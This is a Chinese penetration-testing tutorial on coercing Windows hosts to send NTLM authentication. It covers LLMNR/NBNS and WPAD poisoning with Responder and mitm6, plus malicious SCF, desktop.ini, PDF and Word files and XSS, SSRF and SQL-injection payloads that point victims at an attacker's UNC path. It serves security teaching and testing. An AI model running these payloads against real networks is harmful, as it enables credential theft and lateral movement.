[toc]

前言

在上一节中,我们学习了 NTLM 的概念与 NTLM 身份认证的流程。在这篇文章中,我们将详细的介绍在内网中发送 NTLM 请求的方式,为的是给下一篇我们学习如何利用 NTLM 进行攻击打下基础。

通过控制内网主机发送 NTLM 请求,我们可以使用 responder 等工具截获主机用户的 Net-NTLM Hash,此 Hash 虽然不能进行哈希传递,但是有了Net-NTLM Hash之后,我们可以对 Net-NTLM Hash 进暴力破解、或重放,从而实现内网的横向渗透。

文中若有不当之处,还请各位大佬师傅们多多点评。

我的博客:https://whoamianony.top/

Responder 工具

image-20210415192341256

Responder 工具是一款可以在局域网模拟各种服务器进行中间人攻击的内网渗透神器。其可以在局域网中进行 DNS 欺骗、LLMNR 欺骗等,实现对用户 NTLM 口令的探测以及 DNS 钓鱼,同时其还可以模拟包括 FTP、HTTP 在内的多种服务器,并记录用户登录凭证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Usage: responder -I eth0 -w -r -f
or:
responder -I eth0 -wrf

Options:
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: False
-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
-w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. This option is highly effective when combined with
-r. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
-v, --verbose Increase verbosity

在之后的操作中,我们都会使用这个工具截获受害人的 Net-NTLM Hash。

利用 LLMNR 和 NetBIOS 欺骗

LLMNR 是什么?

链路本地多播名称解析LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。

当一台主机想要访问到另一台主机时,主机在自己的内部名称缓存中查询名称,如果在缓存中没有找到名称,那么主机就会向自己配置的DNS服务器发送查询请求,如果主机没有收到回应或收到了错误信息,即DNS解析会失败,那么就会转为使用LLMNR链路本地多播名称解析。

使用链路本地多播名称解析时,主机会通过 UDP 向局域网内发送多播查询,查询主机名对应的IP,查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后,收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机;如果不是则丢弃该请求。

NetBIOS 是什么?

Netbios(Network Basic Input Output System):网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,Netbios是一种应用程序接口(API),系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。

Windows系统名称解析顺序

  1. 本地hosts文件(%windir%\System32\drivers\etc\hosts)
  2. DNS缓存/DNS服务器
  3. 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)

也就是说,如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称。这就产生了一个安全问题。由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。通过工具监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。

利用过程

我们利用SMB协议获取目标网络中计算机的Net-NTML Hash。当用户输入 不存在包含错误 或者 DNS中没有的主机名 时,主机先在自己的内部名称缓存中查询名称,如果没找到,主机就会向DNS服务器查询,而DNS解析必定会失败,此时就会退回LLMNR和NetBIOS进行计算机名称解析。那么攻击者就能够代替网络上任何不存在的主机回答请求,并诱导搜索内容的主机连接到我们。如果攻击者使用 Metasploit 和 Responder 等工具,就可以要求验证受害者主机的身份,而如果攻击者被认为是这些主机所在的本地网络中的一部分时,他们就会把自己进行哈希后的Windows凭据发给攻击者。核心过程与Arp欺骗类似。

在攻击机Kali上使用 responder 工具开启监听:

1
responder -I eth0 -f -v
  • -I:指定使用的网卡
  • -f:允许攻击者查看受害者的主机指纹
  • -v:显示详细信息,responder 在截获目标的 Net-NTLM Hash 后,会将 Net-NTLM Hash 记录在日志中,之后再次截获将不再显示 Net-NTLM Hash,要想再次显示 Net-NTLM Hash 则需要加上这个 -v 选项

image-20210414165756105

如上图,“ON”代表针对服务数据包的监听开启,“OFF”代表关闭监听。

然后,当受害者访问一个不存在的主机资源时,比如:

1
2
net use \\bunny
dir \\bunny\c$

也可以在“运行”里面连接:

image-20210414173354393

此时会尝试连接主机“bunny”,然而通过检查内部名称缓存和DNS都没找到,就会通过LLMNR和NetBIOS,在局域网中进行搜索。

此时攻击者的responder便收到了受害者用户的Net-NTLM Hash:

image-20210414173012474

利用 WPAD 劫持

  • PAC:

全称代理自动配置文件(Proxy Auto-Config),该文件定义了浏览器和其他用户代理如何自动选择适当的代理服务器来访问一个URL。要使用 PAC,我们应当在一个网页服务器上发布一个PAC文件,并且通过在浏览器的代理链接设置页面输入这个PAC文件的URL或者通过使用WPAD协议告知用户代理去使用这个文件。在 WPAD 标准中,PAC 文件使用 wpad.dat,PAC文件举例:

1
2
3
4
5
6
7
#!js
function FindProxyForURL(url, host) {
if (url== 'http://www.baidu.com/') return 'DIRECT';
if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
return 'DIRECT';
}
  • WPAD:

WPAD 网络代理自动发现协议是一种客户端使用 DCHP、DNS、LLMNR、NBNS 协议来定位一个代理配置文件(PAC)URL的方法。WPAD 通过让浏览器自动发现代理服务器,查找存放 PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。

在浏览器设置为 “自动检测代理设置” 的情况下,用户在访问网页时,首先会查询 PAC 文件的位置,然后获取 PAC 文件,将 PAC 文件作为代理配置文件。查询 PAC 文件的顺序如下:

  1. 通过 DHCP 服务器
  2. 查询 WPAD 主机的IP
    • Hosts
    • DNS (cache / server)
    • LLMNR
    • NBNS

这个地方就涉及到两种攻击劫持的方式。

配合 LLMNR/NBNS 投毒

一个最早的攻击也是最典型的劫持方式就是利用 LLMNR/NBNS 欺骗来让受害者从攻击者获取 PAC 文件,PAC 文件指定攻击者就是代理服务器,然后攻击者就可以劫持受害者的 HTTP 流量,在其中插入任意 HTML 标签从而获得用户的 Net-NTLM Hash。

当你的浏览器设置为如下图所示的 “自动检测代理设置” 的情况下:

image-20210414180818048

在受害者在访问网页时,会首先查询 PAC 文件的位置。假设查询的地址是 WPAD/wpad.dat 且 WPAD 是个错误的域名,如果没有在域内专门配置这个域名的话,那么 DNS 解析失败的话,就会使用LLMNR 发起广播包询问 WPAD 对应的 IP 是多少,这时候 Responder 通过 LLMNR 投毒将这个不存在的 WPAD 的 IP 指向 Responder 所在的服务器。然后受害者会下载攻击者事先准备好的 wpad.dat 文件,之后攻击者就可以劫持受害者的 HTTP 流量,客户端的流量就会经过攻击者的机器。

Responder 会通过伪造如下 PAC 文件将代理指向 ISAProxySrv:3141:

1
2
3
4
5
6
7
8
9
function FindProxyForURL(url, host){
if ((host == "localhost")
|| shExpMatch(host, "localhost.*")
||(host == "127.0.0.1")
|| isPlainHostName(host)) return "DIRECT";
if (dnsDomainIs(host, "RespProxySrv")
||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)"))
return "DIRECT";
return 'PROXY ISAProxySrv:3141; DIRECT';}

受害者会使用 ISAProxySrv:3141 作为代理,但是受害者不知道 ISAProxySrv 对应的 IP 是什么,所以会再次查询,Responder 再次通过 LLMNR 投毒进行欺骗。将 ISAProxySrv 指向 Responder 本身,然后开始中间人攻击。这个时候可以做的事就很多了,比如插入 XSS Payload 获取 Net-NTLM Hash,中间人获取Post,Cookie等参数,通过 Basic 认证进行钓鱼,诱导下载exe文件等,这里就不详细展开了。

下面我们进行演示。

在攻击机Kali上使用 responder 工具开启监听:

1
responder -I eth0 -r on -v -F on -w on
  • -w:开启 WPAD 服务
  • -F:强制进行

image-20210414182017108

然后,当受害者在主机上打开浏览器访问任何网页时,responder即可获得受害者的 Net-NTLM Hash:

image-20210415160806937

但是很不幸的是,微软在2016年发布了 MS16-077 安全公告,添加了两个重要的保护措施,以缓解这类攻击行为:

  1. 系统再也无法通过广播协议来解析 WPAD 文件的位置,只能通过使用 DHCP 或 DNS 协议完成该任务。
  2. 更改了 PAC 文件下载的默认行为,以便当 WinHTTP 请求 PAC 文件时,不会自动发送客户端的域凭据来响应 NTLM 或协商身份验证质询。

但是这两个保护措施并不是不能绕过的,我们继续往下看。

配合 DHCP V6 Bypass MS16-077

当才说了,针对在查询 WPAD 的时候进行 LLMNR 投毒欺骗这种攻击方式,微软添加了两个重要的保护措施。但是这两个保护措施是可以依次进行绕过的。

一、我们先来尝试绕过第一个保护措施:

系统再也无法通过广播协议来解析 WPAD 文件的位置,只能通过使用 DHCP 或 DNS 协议完成该任务。

这条保护措施直接将之前那个配合 LLMNR/NBNS 投毒这种方式给阉割了,但是我们回顾一下用户获取 PAC 文件的一般流程:

  1. 通过 DHCP 服务器
  2. 查询 WPAD 主机的IP
    • Hosts
    • DNS (cache / server)
    • LLMNR
    • NBNS

可知,虽然LLMNR/NBNS 投毒这种方法不能用了,但是通过 DHCP 和 DNS 协议还可以获取到 PAC 文件。

但是 DHCP 和 DNS 都有指定的服务器,不是通过广播包,而且 DHCP 服务器和 DNS 服务器我们是不可控的,所以没法进行投毒。

幸运的是安全研究人员并不将目光局限在 IPv4,从Windows Vista以来,所有的Windows系统都会默认启用 IPv6 网络,并且其优先级要高于 IPv4 网络。

在 DHCP V6 协议中,客户端通过向组播地址 [ff02::1:2] 发送 Solicit 报文来定位 DHCP V6 服务器,组播地址 [ff02::1:2] 包括整个地址链路范围内的所有 DHCP V6 服务器和中继代理。 DHCP V6 的四步交互过程如下:

  • 客户端向 [ff02::1:2] 组播地址发送一个”Solicit”请求报文
  • 组播地址 [ff02::1:2] 包括整个地址链路范围内的 DHCP 服务器或中继代理回应”Advertise”消息告知客户端
  • 客户端选择优先级最高的服务器并发送”Request”信息请求分配地址或其他配置信息
  • 最后服务器回复包含确认地址、委托前缀和配置(如可用的DNS服务器等)的”Relay”消息。

可知,在最后一步,服务器回复包含确认地址、委托前缀和 IPv6 配置(如可用的DNS服务器等)的”Relay”消息。通俗点来说就是,在可以使用 IPv6 的情况下,攻击者能接收到其他机器的 DHCP V6 组播包的情况下,攻击者最后可以让受害者的 DNS 服务器地址设置为攻击者的 IPv6 地址,一旦受害者机器将攻击者设置为 IPv6 DNS 服务器,它将立即开始查询网络的 WPAD 配置,由于这些 DNS 查询是发送给攻击者的,此时攻击者便可以使用自己的 IP 地址作为 WPAD 对应的 IP 地址。至此,微软 MS16-077 的第一个保护成功绕过。

Fox-IT公布了名为 mitm6 的一个工具,可以实施这种攻击。项目地址:https://github.com/fox-it/mitm6,我们可以直接使用pip进行安装:

1
pip install mitm6

下面我们演示一下过第一个保护措施的过程。

首先我们查看攻击机的网卡信息:

image-20210415170959307

可见攻击机的 IPv6 为 fe80::20c:29ff:fe0c:9ee0

然后安装 mitm6 工具,并执行如下命令,侦听攻击者主机的eth0网卡上的 DHCP v6 流量:

1
mitm6 -d whoamianony.org -i eth0

image-20210415185423073

当受害者机器重启或重新进行网络配置(如重新插入网线)时, 将会向 DHCP v6 发送请求获取 IPv6 配置。这个时候 mitm6 将回复这些 DHCP v6 请求,并在链接本地范围内为受害者分配一个 IPv6 地址:

image-20210415190103984

尽管在实际的 IPv6 网络中,这些地址是由主机自己自动分配的,不需要由 DHCP 服务器配置,但这使我们有机会将攻击者IP设置为受害者的默认 IPv6 DNS 服务器。如下图所示,受害者的 DNS 服务器的地址成功被设置为攻击者的 IPv6 地址:

image-20210415190358201

此时攻击者便可以使用自己的 IP 地址作为 WPAD 对应的 IP 地址。

详情请看:《MITM6:用IPv6攻陷IPv4网络的工具》

二、我们先来尝试绕过第一个保护措施:

更改了 PAC 文件下载的默认行为,以便当 WinHTTP 请求 PAC 文件时,不会自动发送客户端的域凭据来响应 NTLM 或协商身份验证质询。

这一个还是比较好绕过的。你是否还记得,我们在刚才演示 WPAD 配合 LLMNR/NBNS 投毒截获 Net-NTLM Hash 时,我们在开启 responder 监听时加了一个 -F 选项。这个选项的的作用就是当浏览器再次请求 wpad.dat 文件时强制受害者使用 NTLM 认证,该选项是默认关闭的。当我们不加这个选项时,攻击者的 responder 仅能通过 WPAD 劫持嗅探到受害者的流量并不能截获 Net-NTLM Hash ,当我们加上这个 -F 选项后,responder 会向受害者的流量中注入恶意的 HTML 代码(如 XSS),强制受害者使用 NTLM 认证,从而截获 Net-NTLM Hash。

可见responder在默认情况下本来就不想在 WPAD 劫持这一步获取 Net-NTLM Hash,只有手动加了 -F 选项才能开启 Net-NTLM Hash 的截获功能。所以,我们还想之前那样带着 -F 选项就可以了。

其他常见方法

在Windows上,比如常见的图标、系统命令等,都可以设置UNC路径(类似 \\softer 这样的网络路径),我们通过将他们的UNC路径改为攻击者服务器的IP或者指定为一个不存在的主机名,从而触发 LLMNR/NBNS 欺骗,使用 responder 工具获得受害者的 Net-NTLM Hash。

利用 desktop.ini 文件

desktop.ini是系统可识别的一个文件,每个文件夹底下都有一个desktop.ini文件,用来指定和存储文件夹图标之类的个性设置,该文件默认不可见。去掉隐藏受保护的操作系统文件就可以看到:

image-20210414194218978

打开desktop.ini文件看到如下内容:

image-20210414194403974

然后我们尝试修改desktop.ini文件,将图标路径IconResource改成UNC路径,指向攻击者的服务器或一个不存在的主机名:

image-20210414194518343

当用户访问该文件夹的时候,就会去访问攻击者指定的UNC路径,我们就能获取受害者的 Net-NTLM Hash:

image-20210414194711439

利用 SCF 文件

SCF 文件是 “Windows 资源管理器命令” 文件,它也是一种可执行文件,该类型文件由 Windows Explorer Command 解释。

当一个文件加中含有scf后缀的文件时,由于scf文件包含了 IconFile 属性,所以 Explore.exe 会尝试获取文件的图标。而 IconFile 属性是支持 UNC 路径的,所以我们也可以通过这里的 IconFile 属性截获受害者的 Net-NTLM Hash。

在一个文件夹下面新建一个 test.scf 文件,写入如下:

1
2
3
4
5
[Shell]
Command=2
IconFile=\\bunny\scf\test.ico
[Taskbar]
Command=ToggleDesktop

当用户访问该文件夹的时候,我们就会获得用户的 Net-NTLM Hash。

系统命令携带UNC路径

类似于 net use \\ip\xxxdir \\ip\xxx 这样。但是Windows中还有很多系统命令是支持传进 UNC 路径的,执行的时候我们就可以拿到用户的 Net-NTLM Hash 了。下面累出了一些可以携带UNC 路径的系统命令:

利用 PDF

PDF 规范允许为 GoTobe 和 GoToR 条目加载远程内容。PDF 文件可以添加一项功能,请求远程 SMB 服务器的文件。

首先下载一个利用脚本Worse-PDF:https://github.com/3gstudent/Worse-PDF,该脚本可以将普通的PDF文件转换为恶意文件,从 Windows 主机中窃取 Net-NTLM Hash。

执行如下命令:

1
2
python WorsePDF.py evil.pdf 192.168.93.131
# python Worse-PDF.py evil.pdf <攻击者IP或不存在的主机>

image-20210414201923382

然后将生成的evil.pdf.malicious.pdf想办法上传到受害者主机,当受害者使用PDF阅读器打开这个恶意的PDF文件时,攻击机上的responder就会获取到用户的 Net-NTLM Hash:

image-20210414202333388

利用 Office

首先新建一个word,并插入一张图片:

image-20210414202602285

保存。然后将word文件的后缀改为.zip,并使用zip压缩软件打开:

image-20210414202737904

进入 word\_rels 目录,修改 document.xml.rels 文件。找到刚才插入的图片所对应的 Target 参数:

image-20210414202944629

将其修改为一个任意的 UNC 路径,并加上一个 TargetMode="External" 属性:

image-20210414203300682

修改后保存,并将zip后缀改回.docx。

然后将生成的恶意的word文件想办法上传到受害者主机,当受害者打开这个恶意的word文件时,攻击机上的responder就会获取到用户的 Net-NTLM Hash:

image-20210414194711439

利用常见 Web 漏洞

利用 XSS 漏洞

由于很多HTML标签可以使用href或src属性访问UNC路径,那我们便可以尝试使用XSS向量触发SMB请求,发送并截获 Net-NTLM Hash。如下所示,我们在目标服务器的

1
2
3
<script src="\\192.168.93.131\xss">

<script src="\\bunny\xss">

image-20210415141734327

利用 SSRF 漏洞

在 SSRF 漏洞里面,如果支持 file:// 协议,并且 file:// 协议能加载远程资源的话,我们能拿到 Net-NTLM Hash。

下面我们使用 PHP 代码做演示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ssrf.php
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源

// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>

假设目标主机存在 SSRF 漏洞,我们便可以构造如下 payload 即可:

1
2
/ssrf.php?url=file://192.168.93.131/source
/ssrf.php?url=file://bunny/source

但是我在本地测试并没有成功,可能是我太菜了。

利用 MySQL

如果存在 MySQL 注入的话,是可以通过带外通信把数据带出来。利用的是 load_file() 函数,该函数支持远程加载,并且支持UNC路径,那么我们便可以在存在sql注入的地方使用该函数触发SMB请求,截获 Net-NTLM Hash。

1
2
-1' union select load_file('\\\\192.168.93.131\\mysql')#
-1' union select load_file('\\\\bunny\\mysql')#

执行payload之后成功拿到了 Net-NTLM Hash:

image-20210415150203717

Ending……

在本篇文章中,我们通过各种方法,控制内网主机发送 NTLM 请求,并截获了受害者的 Net-NTLM Hash,此 Hash 虽然不能进行哈希传递,但是有了Net-NTLM Hash之后,我们可以对 Net-NTLM Hash 进暴力破解、或重放,从而实现内网的横向渗透,我们将在下一篇文章中进行详细的讲解。

8700d444e39a9addaf1db2f663b02272

文中若有不当之处,还请各位大佬师傅们多多点评。

我的博客:https://whoamianony.top/

参考:

https://3gstudent.github.io/3gstudent.github.io/渗透技巧-利用PDF文件获取Net-NTLM-hash

https://3gstudent.github.io/3gstudent.github.io/渗透技巧-利用图标文件获取连接文件服务器的NTLMv2-Hash/

https://blog.netspi.com/microsoft-word-unc-path-injection-image-linking/

https://wooyun.js.org/drops/基于WPAD的中间人攻击.html

https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/

https://daiker.gitbook.io/windows-protocol/ntlm-pian/5#2-pei-he-dhcpv6